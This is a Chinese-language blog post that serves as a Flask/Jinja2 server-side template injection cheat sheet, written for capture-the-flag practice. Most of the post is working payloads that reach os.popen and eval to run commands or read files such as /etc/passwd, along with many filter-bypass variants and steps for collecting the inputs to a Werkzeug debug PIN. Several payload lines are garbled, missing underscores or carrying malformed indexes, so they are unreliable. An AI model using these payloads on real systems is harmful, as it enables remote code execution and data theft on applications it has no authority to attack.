SSTI漏洞

199 阅读4分钟

携手创作,共同成长!这是我参与「掘金日新计划 · 8 月更文挑战」的第6天,点击查看活动详情

Flask

Flask 中的渲染方法有两种 : render_template() 和 render_template_string()

render_template()

渲染一个指定的文件 , 这个指定的文件其实就是模板(html页面)

render_template_string()

渲染一个字符串

@app.route('/test')
def test():
    html = '{{12*12}}'
    return flask.render_template_string(html)

jinja语句

{%...%} 执行语句

{{...}} 输出表达式

{#..#} 注释

ssti魔术方法

__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类
// __base____mro__都是用来寻找基类的
__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__       类的初始化方法
__globals__该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用globals属性访问全局的变量。该属性保存的是函数全局变量的字典引用。
__getattribute__()实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__builtins__  builtins即是引用,Python程序一旦启动,它就会在程序员所写
  • __base__:子类找父类
  • __subclasses__():父类找子类
  • __class__:子实例找父实例

获取基本类的方法

[].__class__.__base__
''.__class__.__mro__[2]
().__class__.__base__
{}.__class__.__base__
request.__class__.__mro__[8]   //针对jinjia2/flask为[9]适用
或者
[].__class__.__bases__[0]       //其他的类似

获取基本子类

[].__class__.__base__.__subclasses__()

利用方法

读取文件

().__class__.__base__.__subclasses__()[80]('/flag').read()

获得索引号为80的类

遍历序列号

for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i

漏洞利用(查看id)

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("cat /flag").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

命令执行

 

{{().class.bases[0].subclasses()205.communicate()[0]}}

os执行

os._wrap_close类中的popen

 {{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat flag').read()}}

遍历popen调用

{%for i in ''.__class__.__base__.__subclasses__()%}
{%if i.__name__=='_wrap_close'%}
{%print i.__init__.__globals__['popen']('cat flag').read()%}
{%endif%}
{%endfor%}

__import__中的os

{% for c in ''.__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("cat flag").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

__builtins__执行

url_for

{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
或
{{url_for.__globals__['os']['popen']("cat flag").read()}}

config

{{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}

lipsum

flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块

{{lipsum.__globals__['os'].popen('ls').read()}}

任意字母

任意26个英文字母的任意组合都可以,同样可以得到__builtins__

{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}

 

{{().class.bases[0].subclasses()[132].init.globals['builtins']['eval']("import('os').system('cat flag')")}}

 

{{().class.bases[0].subclasses()[132].init.globals['builtins']['eval']("import('os').popen('cat flag').read()")}}

 

{{().class.bases[0].subclasses()[132].init.globals['builtins']'import'.popen('cat flag').read()}}

 

{{().class.bases[0].subclasses()[132].init.globals['builtins']'open'.read()}}

绕过方式

中括号[]

getitem()

"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)//__getitem__(2)=[2]

pop()

函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。pop并不会真的移除,但却能返回其值,取代中括号,来实现绕过。

''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()

引号''

chr()

因为没法直接使用chr函数,所以需要通过__builtins__找到他

{% set chr=url_for.__globals__['__builtins__'].chr %}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}//{{""[__class__]}}

59:<class 'warnings.WarningMessage'>)

request

GET: request.args

Cookies: request.cookies

Headers: request.headers

Environment: request.environ

Values: request.values

request.__class__
request["__class__"]
request|attr("__class__")
-------------------------------
{{''[request.args.a][request.args.b][-1][request.args.c]()}}?a=__class__&b=__mro__&c=__subclasses__

花括号{}

{%print(...)%} 代替{{...}}

{{print(().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()"))}}
等同于
{%print(().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()"))%}

过滤关键字

__getattribute__使用实例访问属性时,调用该方法

base64编码绕过

{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]('/etc/passwd').read()}}

字符串拼接绕过

{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]('/etc/passwd').read()}}

过滤器

attr

""|attr("__class__")
相当于
"".__class__

john

""[['__clas','s__']|join] 或者 ""[('__clas','s__')|join]
相当于
""["__class__"]

format

 

| join被过滤时用|format

{{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_

first last random

"".__class__.__mro__|last()
相当于
"".__class__.__mro__[-1]

replace

"__cladd__"|replace("dd","ss")     // "__class__"

reverse

"__ssalc__"|reverse        // "__class__"

string

().__class__        //出来的是<class 'tuple'>
(().__class__|string)[0]      出来的是<

{{(()|select|string|list)}}

(()|select|string)[24]~//_
(()|select|string)[24]~
(()|select|string)[15]~
(()|select|string)[20]~
(()|select|string)[6]~
(()|select|string)[18]~
(()|select|string)[18]~
(()|select|string)[24]~
(()|select|string)[24]

list

 

{{(()|select|string|list).pop(0)}}

获取字符

数字

{{lipsum|string|list}}

{{(lipsum|string|list).index('f')}}

下划线

{{(lipsum|string|list).pop(18)}}

PIN码利用

  • flask 库下 app.py 的绝对路径,通过webug报错信息就会泄露该值。(Debug)

/usr/local/lib/python3.7/site-packages/flask/app.py

  • 当前网络的 mac 地址的十进制数。通过文件 /sys/class/net/eth0/address 获取
  • 机器的 id 。对于非 docker 机每一个机器都会有自已唯一的 id ,

linux的 id 一般存放在 /etc/machine-id 或 /proc/sys/kernel/random/boot_i,有的系统没有这两个文件,对于 docker 机则读取 /proc/self/cgroup

popen方法获取

{{''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/proc/self/cgroup').read()}}